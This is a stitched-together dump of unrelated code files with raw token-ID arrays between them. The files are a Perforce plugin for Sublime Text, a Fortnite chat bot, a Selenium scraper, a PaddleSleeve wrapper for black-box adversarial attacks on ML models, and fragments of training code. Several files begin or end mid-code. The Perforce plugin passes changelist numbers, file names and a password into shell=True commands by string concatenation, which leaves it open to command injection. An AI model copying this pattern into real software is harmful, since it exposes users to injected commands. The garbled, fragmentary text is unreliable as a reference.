self.MakeCheckedOutFileList() def show_quick_panel(): if not self.files_list: sublime.error_message(__name__ + ': There are no checked out files to list.') return self.window.show_quick_panel(self.files_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return file_name = self.files_list[picked][3] def open_file(): self.window.open_file(file_name) sublime.set_timeout(open_file, 10) class PerforceListCheckedOutFilesCommand(sublime_plugin.WindowCommand): def run(self): ListCheckedOutFilesThread(self.window).start() # Create Changelist section def CreateChangelist(description): # First, create an empty changelist, we will then get the cl number and set the description command = ConstructCommand('p4 change -o') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err # Find the description field and modify it desclabel = 'Description:' + os.linesep descindex = result.find(desclabel) + len(desclabel) descend = result.find(os.linesep*2, descindex) result = result[0:descindex] + '\t' + description + result[descend:] # Remove all files from the query, we want them to stay in Default filesindex = result.rfind("Files:") # The Files: section we want to get rid of is only present if there's files in the default changelist if(filesindex > 640): result = result[0:filesindex]; temp_changelist_description_file = open(os.path.join(tempfile.gettempdir(), "tempchangelist.txt"), 'w') try: temp_changelist_description_file.write(result) finally: temp_changelist_description_file.close() command = ConstructCommand('p4 change -i < ' + temp_changelist_description_file.name) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() # Clean up os.unlink(temp_changelist_description_file.name) if(err): return 0, err return 1, result class PerforceCreateChangelistCommand(sublime_plugin.WindowCommand): def run(self): # Get the description self.window.show_input_panel('Changelist Description', '', self.on_done, self.on_change, self.on_cancel) def on_done(self, input): success, message = CreateChangelist(input) LogResults(success, message) def on_change(self, input): pass def on_cancel(self): pass # Move Current File to Changelist def MoveFileToChangelist(in_filename, in_changelist): folder_name, filename = os.path.split(in_filename) command = ConstructCommand('p4 reopen -c ' + in_changelist + ' "' + filename + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err return 1, result class ListChangelistsAndMoveFileThread(threading.Thread): def __init__(self, window): self.window = window self.view = window.active_view() threading.Thread.__init__(self) def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = ['New', 'Default']; if(success): changelists = rawchangelists.splitlines() # for each line, extract the change for changelistline in changelists: changelistlinesplit = changelistline.split(' ') # Insert at two because we receive the changelist in the opposite order and want to keep new and default on top resultchangelists.insert(2, "Changelist " + changelistlinesplit[1] + " - " + ' '.join(changelistlinesplit[7:])) return resultchangelists def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelistlist = self.changelists_list[picked].split(' ') def move_file(): changelist = 'Default' if(len(changelistlist) > 1): # Numbered changelist changelist = changelistlist[1] else: changelist = changelistlist[0] if(changelist == 'New'): # Special Case self.window.show_input_panel('Changelist Description', '', self.on_description_done, self.on_description_change, self.on_description_cancel) else: success, message = MoveFileToChangelist(self.view.file_name(), changelist.lower()) LogResults(success, message); sublime.set_timeout(move_file, 10) def on_description_done(self, input): success, message = CreateChangelist(input) if(success == 1): # Extract the changelist name from the message changelist = message.split(' ')[1] # Move the file success, message = MoveFileToChangelist(self.view.file_name(), changelist) LogResults(success, message) def on_description_change(self, input): pass def on_description_cancel(self): pass class PerforceMoveCurrentFileToChangelistCommand(sublime_plugin.WindowCommand): def run(self): # first, test if the file is under the client root folder_name, filename = os.path.split(self.window.active_view().file_name()) isInDepot = IsFileInDepot(folder_name, filename) if(isInDepot != 1): WarnUser("File is not under the client root.") return 0 ListChangelistsAndMoveFileThread(self.window).start() # Add Line to Changelist Description class AddLineToChangelistDescriptionThread(threading.Thread): def __init__(self, window): self.window = window self.view = window.active_view() threading.Thread.__init__(self) def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = []; if(success): changelists = rawchangelists.splitlines() # for each line, extract the change, and run p4 opened on it to list all the files for changelistline in changelists: changelistlinesplit = changelistline.split(' ') # Insert at zero because we receive the changelist in the opposite order # Might be more efficient to sort... changelist_entry = ["Changelist " + changelistlinesplit[1]] changelist_entry.append(' '.join(changelistlinesplit[7:])); resultchangelists.insert(0, changelist_entry) return resultchangelists def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelistlist = self.changelists_list[picked][0].split(' ') def get_description_line(): self.changelist = changelistlist[1] self.window.show_input_panel('Changelist Description', '', self.on_description_done, self.on_description_change, self.on_description_cancel) sublime.set_timeout(get_description_line, 10) def on_description_done(self, input): success, message = AppendToChangelistDescription(self.changelist, input) LogResults(success, message) def on_description_change(self, input): pass def on_description_cancel(self): pass class PerforceAddLineToChangelistDescriptionCommand(sublime_plugin.WindowCommand): def run(self): AddLineToChangelistDescriptionThread(self.window).start() # Submit section class SubmitThread(threading.Thread): def __init__(self, window): self.window = window self.view = window.active_view() threading.Thread.__init__(self) def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = ['Default']; currentuser = GetUserFromClientspec(); command = ConstructCommand('p4 opened -c default -u ' + currentuser) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if err: resultchangelists.pop() if success: changelists = rawchangelists.splitlines() # for each line, extract the change for changelistline in changelists: changelistlinesplit = changelistline.split(' ') # Insert at two because we receive the changelist in the opposite order and want to keep default on top resultchangelists.insert(1, "Changelist " + changelistlinesplit[1] + " - " + ' '.join(changelistlinesplit[7:])) return resultchangelists def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelist = self.changelists_list[picked] changelistsections = changelist.split(' ') command = '' # Check in the selected changelist if changelistsections[0] != 'Default': command = ConstructCommand('p4 submit -c ' + changelistsections[1]); else: command = ConstructCommand('p4 submit') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() def on_description_change(self, input): pass def on_description_cancel(self): pass class PerforceSubmitCommand(sublime_plugin.WindowCommand): def run(self): SubmitThread(self.window).start() class PerforceLogoutCommand(sublime_plugin.WindowCommand): def run(self): try: command = ConstructCommand("p4 set P4PASSWD=") p = subprocess.Popen(command, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) p.communicate() except ValueError: pass class PerforceLoginCommand(sublime_plugin.WindowCommand): def run(self): self.window.show_input_panel("Enter Perforce Password", "", self.on_done, None, None) def on_done(self, password): try: command = ConstructCommand("p4 logout") p = subprocess.Popen(command, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) p.communicate() #unset var command = ConstructCommand("p4 set P4PASSWD=" + password) p = subprocess.Popen(command, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) p.communicate() except ValueError: pass class PerforceUnshelveClCommand(sublime_plugin.WindowCommand): def run(self): try: ShelveClCommand(self.window, False).start() except: WarnUser("Unknown Error, does the included P4 Version support Shelve?") return -1 class PerforceShelveClCommand(sublime_plugin.WindowCommand): def run(self): try: ShelveClCommand(self.window, True).start() except: WarnUser("Unknown Error, does the included P4 Version support Shelve?") return -1 class ShelveClCommand(threading.Thread): def __init__(self, window, shelve=True): self.shelve = shelve self.window = window threading.Thread.__init__(self) def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelistlist = self.changelists_list[picked].split(' ') changelist = 'Default' if(len(changelistlist) > 1): # Numbered changelist changelist = changelistlist[1] else: changelist = changelistlist[0] if self.shelve: cmdString = "shelve -c" + changelist else: cmdString = "unshelve -s" + changelist + " -f" command = ConstructCommand("p4 " + cmdString) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): WarnUser("usererr " + err.strip()) return -1 def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = [] if(success): changelists = rawchangelists.splitlines() # for each line, extract the change for changelistline in changelists: changelistlinesplit = changelistline.split(' ') resultchangelists.insert(0, "Changelist " + changelistlinesplit[1] + " - " + ' '.join(changelistlinesplit[7:])) return resultchangelists	[ 1, 396, 16849, 841, 491, 529, 5813, 29958, 313, 29966, 26862, 6227, 29958, 847, 7821, 29889, 261, 293, 28402, 295, 29889, 510, 29897, 13, 13, 29937, 7740, 3106, 8260, 526, 9904, 297, 13109, 29889, 1491, 28046, 29899, 26381, 13, 13, 29937, 1874, 295, 468, 13, 29937, 529, 5813, 29958, 448, 937, 5314, 310, 788, 847, 24808, 13, 29937, 529, 5813, 29958, 669, 529, 5813, 29958, 448, 11415, 310, 6375, 24765, 267, 297, 13154, 3135, 4138, 13, 29937, 529, 5813, 29958, 669, 529, 5813, 29958, 448, 937, 5314, 310, 29538, 13, 29937, 529, 5813, 29958, 448, 937, 5314, 310, 2923, 13, 29937, 529, 5813, 29958, 448, 937, 5314, 310, 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FNWhisperBot.py	v1001/FNWhisperBot	1	112060	<reponame>v1001/FNWhisperBot<filename>FNWhisperBot.py<gh_stars>1-10 import fortnitepy import datetime import os import asyncio import threading from fortnitepy.ext import commands import json def time() -> str: '''Return current system datetime as string.''' return datetime.datetime.now().strftime('%H:%M:%S') class KeyboardThread(threading.Thread): def __init__(self, input_cbk = None, name='keyboard-input-thread'): self.input_cbk = input_cbk super(KeyboardThread, self).__init__(name=name) self.paused = False # Explicitly using Lock over RLock since the use of self.paused # break reentrancy anyway, and I believe using Lock could allow # one thread to pause the worker, while another resumes; haven't # checked if Condition imposes additional limitations that would # prevent that. In Python 2, use of Lock instead of RLock also # boosts performance. self.pause_cond = threading.Condition(threading.Lock()) self.start() def run(self): while True: with self.pause_cond: while self.paused: self.pause_cond.wait() self.input_cbk(input('epic-id:message\\')) #waits to get input + Return def pause(self): self.paused = True # If in sleep, we acquire immediately, otherwise we wait for thread # to release condition. In race, worker will still see self.paused # and begin waiting until it's set back to False self.pause_cond.acquire() #should just resume the thread def resume(self): self.paused = False # Notify so thread will wake after lock released self.pause_cond.notify() # Now release the lock self.pause_cond.release() class WhisperClient(fortnitepy.Client): def __init__(self, data): self.data = data device_auth_details = self.get_device_auth_details().get(self.data["email"], {}) super().__init__( auth = fortnitepy.AdvancedAuth( email = self.data["email"], password = self.data["password"], prompt_authorization_code = True, delete_existing_device_auths = True, **device_auth_details ) ) def get_device_auth_details(self): if os.path.isfile(self.data["auth_filename"]): with open(self.data["auth_filename"], 'r') as fp: return json.load(fp) return {} def store_device_auth_details(self, details): existing = self.get_device_auth_details() existing[self.data["email"]] = details with open(self.data["auth_filename"], 'w') as fp: json.dump(existing, fp) async def event_device_auth_generate(self, details, email): self.store_device_auth_details(details) def get_friends_list(self): for f in self.friends: if(f.is_online): print(f'Friend name: {f.display_name}, Epic-ID: {f.id}') return([x.id for x in self.friends]) async def event_ready(self): #print ready status print('----------------') print('Client ready as') print(self.user.display_name) print(self.user.id) print('----------------') self.friendslist = self.get_friends_list() #starting loop task loop = asyncio.get_event_loop() loop.create_task(self.chat_task()) self.message_text = '' self.kbd_thread = KeyboardThread(self.get_input) async def event_friend_presence(self, before, after): pass async def event_party_invite(self, invite): print(f'\n{time()}: incoming invite from {invite.sender.display_name}, id {invite.sender.id}') if(not(self.data["invite_accept"])): await invite.sender.send('Sorry, currently I am not accepting invites.') await invite.decline() print(f'{time()}: declined party invite from {invite.sender.display_name}, id {invite.sender.id}. Invite_accept is set to false.') return else: await invite.accept() print(f'{time()}: accepted party invite from {invite.sender.display_name}, id {invite.sender.id}.') async def event_party_update(self, party): for member in party.members: if(not(member.id == self.user.id)): print(f'{time()}: {member.display_name} joined wearing outfit {member.outfit} and pickaxe {member.pickaxe}') async def chat_task(self): while True: try: if(len(self.message_text)>0): await self.send_message() if(self.kbd_thread.paused): self.kbd_thread.resume() except: print(f'{time()}: error in chat cyclic task') await asyncio.sleep(1) async def send_message(self): msg_items = self.message_text.split(':') self.message_text = '' if(len(msg_items)<2): print('please use the following format:"epic-id:message"') return if(msg_items[0] in self.friendslist): friend = [f for f in self.friends if f.id == msg_items[0]] await friend[0].send(msg_items[1]) def get_input(self, inp): self.message_text = inp self.kbd_thread.pause() async def event_friend_request(self, request): if self.data["friend_accept"]: await request.accept() print(time() + ' accepted friend request from {} ID {}'.format(request.display_name, request.id)) async def event_friend_message(self, message): self.kbd_thread.pause() print('\r' + time() + ': {0.author.display_name} ({0.author.id}): "{0.content}"'.format(message)) print('epic-id:message\\') self.kbd_thread.resume() def main(): with open('config.json') as f: data = json.load(f) data["email"] = input('please enter e-mail:') data["password"] = input('please enter password:') client = WhisperClient(data) client.run() main()	[ 1, 529, 276, 1112, 420, 29958, 29894, 29896, 29900, 29900, 29896, 29914, 29943, 29940, 8809, 275, 546, 29933, 327, 29966, 9507, 29958, 29943, 29940, 8809, 275, 546, 29933, 327, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 5162, 29876, 568, 2272, 13, 5215, 12865, 13, 5215, 2897, 13, 5215, 408, 948, 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python/coding_bat/make_bricks/README.py	lmregus/Portfolio	0	1613816	# Make Bricks We want to make a row of bricks that is goal inches long. We have a number of small bricks (1 inch each) and big bricks (5 inches each). Return True if it is possible to make the goal by choosing from the import given bricks. This is a little harder than it looks and can be done without any loops. See also: Introduction to MakeBricks * make_bricks(3, 1, 8) → True * make_bricks(3, 1, 9) → False * make_bricks(3, 2, 10) → True	[ 1, 396, 8561, 1771, 7358, 13, 13, 4806, 864, 304, 1207, 263, 1948, 310, 1506, 7358, 393, 338, 7306, 22831, 1472, 29889, 1334, 505, 263, 1353, 310, 2319, 1506, 7358, 313, 29896, 297, 305, 1269, 29897, 322, 29871, 13, 3752, 1506, 7358, 313, 29945, 22831, 1269, 467, 7106, 5852, 565, 372, 338, 1950, 304, 1207, 278, 7306, 491, 23906, 515, 278, 1053, 29871, 13, 29887, 5428, 1506, 7358, 29889, 910, 338, 263, 2217, 22622, 1135, 372, 3430, 322, 508, 367, 2309, 1728, 738, 12104, 29889, 29871, 13, 13393, 884, 29901, 27576, 304, 8561, 12432, 7358, 29871, 13, 13, 29930, 1207, 29918, 1182, 7358, 29898, 29941, 29892, 29871, 29896, 29892, 29871, 29947, 29897, 10309, 5852, 13, 29930, 1207, 29918, 1182, 7358, 29898, 29941, 29892, 29871, 29896, 29892, 29871, 29929, 29897, 10309, 7700, 13, 29930, 1207, 29918, 1182, 7358, 29898, 29941, 29892, 29871, 29906, 29892, 29871, 29896, 29900, 29897, 10309, 5852, 13, 2 ]
__scraping__/investopedia.com - selenium/main.py	furas/python-code	2	166149	<gh_stars>1-10 # author: Bartlomiej "furas" Burek (https://blog.furas.pl) # date: 2022.03.11 # [Scraping Investopedia using selenium python - Stack Overflow](https://stackoverflow.com/questions/71443533/scraping-investopedia-using-selenium-python/71444720#71444720) from selenium import webdriver from selenium.webdriver.common.by import By from webdriver_manager.chrome import ChromeDriverManager #from webdriver_manager.firefox import GeckoDriverManager import time # --- functions --- # PEP8: `lower_case_names` def login(): driver.get(r'https://www.investopedia.com/simulator/home.aspx') driver.implicitly_wait(10) driver.find_element(By.ID, 'username').send_keys('<EMAIL>') time.sleep(0.5) driver.find_element(By.ID, 'password').send_keys('<PASSWORD>') time.sleep(0.5) driver.find_element(By.ID, 'login').click() def get_trade_page(): url = 'https://www.investopedia.com/simulator/trade/stocks' driver.get(url) def set_stock(ticker): driver.find_element(By.XPATH, '//input[@placeholder="Look up Symbol/Company Name"]').send_keys(ticker) #driver.find_element(By.XPATH, '//div[@role="option"]').click() option = driver.find_element(By.XPATH, '//div[@role="option"]') driver.execute_script('arguments[0].click()', option) # --- main --- driver = webdriver.Chrome(executable_path=ChromeDriverManager().install()) #driver = webdriver.Firefox(executable_path=GeckoDriverManager().install()) login() get_trade_page() set_stock('hvt') #driver.close()	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 4148, 29901, 12245, 29880, 290, 8586, 376, 29888, 10939, 29908, 350, 545, 29895, 313, 991, 597, 7312, 29889, 29888, 10939, 29889, 572, 29897, 13, 29937, 2635, 29901, 29871, 29906, 29900, 29906, 29906, 29889, 29900, 29941, 29889, 29896, 29896, 13, 29937, 518, 4421, 2390, 292, 512, 10147, 459, 1381, 773, 18866, 3017, 448, 10292, 28845, 850, 991, 597, 2417, 29889, 510, 29914, 2619, 29914, 29955, 29896, 29946, 29946, 29941, 29945, 29941, 29941, 29914, 1557, 2390, 292, 29899, 262, 10147, 459, 1381, 29899, 4746, 29899, 27373, 29899, 4691, 29914, 29955, 29896, 29946, 29946, 29946, 29955, 29906, 29900, 29937, 29955, 29896, 29946, 29946, 29946, 29955, 29906, 29900, 29897, 13, 13, 3166, 18866, 1053, 1856, 9465, 13, 3166, 18866, 29889, 29813, 29889, 9435, 29889, 1609, 1053, 2648, 13, 3166, 1856, 9465, 29918, 12847, 29889, 18114, 1053, 10228, 12376, 3260, 13, 29937, 3166, 1856, 9465, 29918, 12847, 29889, 8696, 8944, 1053, 1879, 27604, 12376, 3260, 13, 5215, 931, 13, 13, 29937, 11474, 3168, 11474, 29871, 396, 349, 15488, 29947, 29901, 421, 13609, 29918, 4878, 29918, 7039, 29952, 13, 13, 1753, 6464, 7295, 13, 1678, 7156, 29889, 657, 29898, 29878, 29915, 991, 597, 1636, 29889, 262, 10147, 459, 1381, 29889, 510, 29914, 3601, 9183, 29914, 5184, 29889, 6307, 1495, 13, 1678, 7156, 29889, 6574, 4019, 368, 29918, 10685, 29898, 29896, 29900, 29897, 13, 268, 13, 1678, 7156, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 1367, 29892, 525, 6786, 2824, 6717, 29918, 8149, 877, 29966, 26862, 6227, 29958, 1495, 13, 1678, 931, 29889, 17059, 29898, 29900, 29889, 29945, 29897, 13, 268, 13, 1678, 7156, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 1367, 29892, 525, 5630, 2824, 6717, 29918, 8149, 877, 29966, 25711, 17013, 29958, 1495, 13, 1678, 931, 29889, 17059, 29898, 29900, 29889, 29945, 29897, 13, 268, 13, 1678, 7156, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 1367, 29892, 525, 7507, 2824, 3808, 580, 13, 13, 1753, 679, 29918, 3018, 311, 29918, 3488, 7295, 13, 1678, 3142, 353, 525, 991, 597, 1636, 29889, 262, 10147, 459, 1381, 29889, 510, 29914, 3601, 9183, 29914, 3018, 311, 29914, 17712, 29879, 29915, 13, 1678, 7156, 29889, 657, 29898, 2271, 29897, 13, 13, 1753, 731, 29918, 17712, 29898, 29873, 6541, 1125, 13, 1678, 7156, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 29990, 10145, 29892, 525, 458, 2080, 17548, 27074, 543, 14959, 701, 23858, 29914, 21410, 4408, 3108, 2824, 6717, 29918, 8149, 29898, 29873, 6541, 29897, 13, 268, 13, 1678, 396, 9465, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 29990, 10145, 29892, 525, 458, 4563, 17548, 12154, 543, 3385, 3108, 2824, 3808, 580, 13, 268, 13, 1678, 2984, 353, 7156, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 29990, 10145, 29892, 525, 458, 4563, 17548, 12154, 543, 3385, 3108, 1495, 13, 1678, 7156, 29889, 7978, 29918, 2154, 877, 25699, 29961, 29900, 1822, 3808, 580, 742, 2984, 29897, 13, 13, 29937, 11474, 1667, 11474, 13, 13, 9465, 353, 1856, 9465, 29889, 1451, 4871, 29898, 4258, 9246, 29918, 2084, 29922, 1451, 4871, 12376, 3260, 2141, 6252, 3101, 13, 29937, 9465, 353, 1856, 9465, 29889, 18654, 8944, 29898, 4258, 9246, 29918, 2084, 29922, 7999, 27604, 12376, 3260, 2141, 6252, 3101, 13, 13, 7507, 580, 13, 657, 29918, 3018, 311, 29918, 3488, 580, 13, 842, 29918, 17712, 877, 29882, 21908, 1495, 13, 13, 29937, 9465, 29889, 5358, 580, 13, 13, 2 ]

AdvBox/models/blackbox.py

honshj/PaddleSleeve

41

79265

<gh_stars>10-100 # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Paddle Model """ from __future__ import absolute_import from __future__ import print_function from .base import Model import paddle import logging logger = logging.getLogger(__name__) import numpy as np import os class PaddleBlackBoxModel(Model): """ PaddleBlackBoxModel *also support adversarial sample generation based on weighted multi-model ensemble attack. """ def __init__(self, model_list, model_weights, bounds=None, mean=None, std=None, input_channel_axis=None, input_shape=None, loss=None, nb_classes=None): """ Paddle model for black box attack. Args: model_list: List. A list of Paddle2 model. model_weights: List. A list of float weights for each model to consider. loss: Paddle.Op. Loss function for supervised classification. bounds(tuple): (float, float). The value range (lower and upper bound) of the model input before standard normal distribution transform (pre-normalized domain). Most of datasets' value range is (0, 1), for instance, MNIST & Cifar10. Some of datasets' value range is (-1, 1). mean(list): The mean value of each channel if used 01 normalization. If None, it is [0]. std(list): The std value of each channel if used 01 normalization. If None, it is [1]. input_channel_axis(int): The index of the axis that represents the color channel. input_shape(tuple): The dimension of input sample. nb_classes: int. number of classification class. """ assert len(model_list) == len(model_weights) assert loss is not None super(PaddleBlackBoxModel, self).__init__( bounds=bounds, mean=mean, std=std, input_channel_axis=input_channel_axis, input_shape=input_shape) self._model_list = model_list self._model_weights = model_weights self._weighted_ensemble_model = self.ensemble_models(model_list, model_weights) self._loss = loss self._nb_classes = nb_classes def predict_name(self): """ Get the predict name, such as "softmax",etc. :return: string """ return None def predict(self, data): """ Calculate the prediction of the data. Args: data: Numpy.ndarray Input data with shape (size, height, width, channels). Return: numpy.ndarray: Predictions of the data with shape (batch_size, num_of_classes). """ # freeze BN when forwarding for model in self._model_list: for param in model.parameters(): param.stop_gradient = True for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("evaled!!") module.eval() tensor_data = paddle.to_tensor(data, dtype='float32', place=self._device) predict = self._weighted_ensemble_model(tensor_data) # free model parameter for model in self._model_list: for param in model.parameters(): param.stop_gradient = False for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("trained!!") module.train() return predict.numpy() def predict_tensor(self, data): """ Calculate the prediction of the data. Usually used for compute grad for input. Args: data: Paddle.Tensor input data with shape (size, height, width, channels). Return: numpy.ndarray: predictions of the data with shape (batch_size, num_of_classes). """ # freeze BN when forwarding for model in self._model_list: for param in model.parameters(): param.stop_gradient = True for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("evaled!!") module.eval() # Run prediction predict = self._weighted_ensemble_model(data) # free model parameter for model in self._model_list: for param in model.parameters(): param.stop_gradient = False for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("trained!!") module.train() return predict def num_classes(self): """ Calculate the number of classes of the output label. Return: int: the number of classes """ return self._nb_classes def gradient(self, data, label, optimizer=None): """ Calculate the gradient of the cross-entropy loss w.r.t the image. Args: data: Numpy.ndarray input with shape as (size, height, width, channels). label: Int used to compute the gradient. When ensemble multi-models, keep labels consistent for all models. optimizer: An optimizer to compute input gradient. It should comply to different attack methods. Return: numpy.ndarray: gradient of the cross-entropy loss w.r.t the image with the shape (height, width, channel). """ return None

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BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py

MatheusBrodt/App_LabCarolVS

1

101396

<reponame>MatheusBrodt/App_LabCarolVS<filename>BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py """pytest-cov: avoid already-imported warning: PYTEST_DONT_REWRITE.""" __version__ = "2.7.1"

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probnmn/trainers/_trainer.py

kdexd/probnmn-clevr

69

35272

<gh_stars>10-100 from typing import Any, Dict, Generator, List, Optional import torch from torch import nn, optim from torch.utils.data import DataLoader from tensorboardX import SummaryWriter from probnmn.config import Config from probnmn.utils.checkpointing import CheckpointManager class _Trainer(object): r""" A base class for generic training of models. This class can have multiple models interacting with each other, rather than a single model, which is suitable to our use-case (for example, ``module_training`` phase has two models: :class:`~probnmn.models.program_generator.ProgramGenerator` and :class:`~probnmn.models.nmn.NeuralModuleNetwork`). It offers full flexibility, with sensible defaults which may be changed (or disabled) while extending this class. Extended Summary ---------------- 1. Default :class:`~torch.optim.Adam` Optimizer, updates parameters of all models in this trainer. Learning rate and weight decay for this optimizer are picked up from the provided config. 2. Default :class:`~torch.optim.lr_scheduler.ReduceLROnPlateau` learning rate scheduler. Gamma and patience arguments are picked up from the provided config. Observed metric is assumed to be of type "higher is better". For 'lower is better" metrics, make sure to reciprocate. 3. Tensorboard logging of loss curves, metrics etc. 4. Serialization of models and optimizer as checkpoint (.pth) files after every validation. The observed metric for keeping track of best checkpoint is of type "higher is better", follow (2) above if the observed metric is of type "lower is better". Extend this class and override suitable methods as per requirements, some important ones are: 1. :meth:`step`, provides complete customization, this is the method which comprises of one full training iteration, and internally calls (in order) - :meth:`_before_iteration`, :meth:`_do_iteration` and :meth:`_after_iteration`. Most of the times you may not require overriding this method, instead one of the mentioned three methods called by `:meth:`step`. 2. :meth:`_do_iteration`, with core training loop - what happens every iteration, given a ``batch`` from the dataloader this class holds. 3. :meth:`_before_iteration` and :meth:`_after_iteration`, for any pre- or post-processing steps. Default behaviour: * :meth:`_before_iteration` - call ``optimizer.zero_grad()`` * :meth:`_after_iteration` - call ``optimizer.step()`` and do tensorboard logging. 4. :meth:`after_validation`, to specify any steps after evaluation. Default behaviour is to do learning rate scheduling and log validation metrics on tensorboard. Notes ----- All models are `passed by assignment`, so they could be shared with an external evaluator. Do not set ``self._models = ...`` anywhere while extending this class. Parameters ---------- config: Config A :class:`~probnmn.Config` object with all the relevant configuration parameters. dataloader: torch.utils.data.DataLoader A :class:`~torch.utils.data.DataLoader` which provides batches of training examples. It wraps one of :mod:`probnmn.data.datasets` depending on the evaluation phase. models: Dict[str, Type[nn.Module]] All the models which interact with each other during training. These are one or more from :mod:`probnmn.models` depending on the training phase. serialization_dir: str Path to a directory for tensorboard logging and serializing checkpoints. gpu_ids: List[int], optional (default=[0]) List of GPU IDs to use or evaluation, ``[-1]`` - use CPU. """ def __init__( self, config: Config, dataloader: DataLoader, models: Dict[str, nn.Module], serialization_dir: str, gpu_ids: List[int] = [0], ): self._C = config # Make dataloader cyclic for sampling batches perpetually. self._dataloader = self._cycle(dataloader) self._models = models # Set device according to specified GPU ids. self._device = torch.device(f"cuda:{gpu_ids[0]}" if gpu_ids[0] >= 0 else "cpu") # Shift models to device, and wrap in DataParallel for Multi-GPU execution (if needed). for model_name in self._models: self._models[model_name] = self._models[model_name].to(self._device) if len(gpu_ids) > 1 and -1 not in gpu_ids: # Don't wrap to DataParallel if single GPU ID or -1 (CPU) is provided. self._models[model_name] = nn.DataParallel(self._models[model_name], gpu_ids) # Accumulate parameters of all models to construct Adam Optimizer. all_parameters: List[Any] = [] for model_name in self._models: all_parameters.extend(list(self._models[model_name].parameters())) self._optimizer = optim.Adam( all_parameters, lr=self._C.OPTIM.LR_INITIAL, weight_decay=self._C.OPTIM.WEIGHT_DECAY ) # Default learning rate scheduler: (lr *= gamma) when observed metric plateaus for # "patience" number of validation steps. self._lr_scheduler = optim.lr_scheduler.ReduceLROnPlateau( self._optimizer, mode="max", factor=self._C.OPTIM.LR_GAMMA, patience=self._C.OPTIM.LR_PATIENCE, threshold=1e-3, ) # Tensorboard summary writer for logging losses and metrics. self._tensorboard_writer = SummaryWriter(log_dir=serialization_dir) # Checkpoint manager to serialize model, optimizer and lr scheduler periodically. self._checkpoint_manager = CheckpointManager( serialization_dir=serialization_dir, keep_recent=100, optimizer=self._optimizer, scheduler=self._lr_scheduler, **models, ) # Initialize a counter to keep track of the iteration number. # This increments everytime ``step`` is called. self._iteration: int = -1 def step(self, iteration: Optional[int] = None): r""" Perform one iteration of training. Parameters ---------- iteration: int, optional (default = None) Iteration number (useful to hard set to any number when loading checkpoint). If ``None``, use the internal :attr:`self._iteration` counter. """ self._before_iteration() batch = next(self._dataloader) output_dict = self._do_iteration(batch) self._after_iteration(output_dict) self._iteration = iteration or self._iteration + 1 def _before_iteration(self): r""" Steps to do before doing the forward pass of iteration. Default behavior is to simply 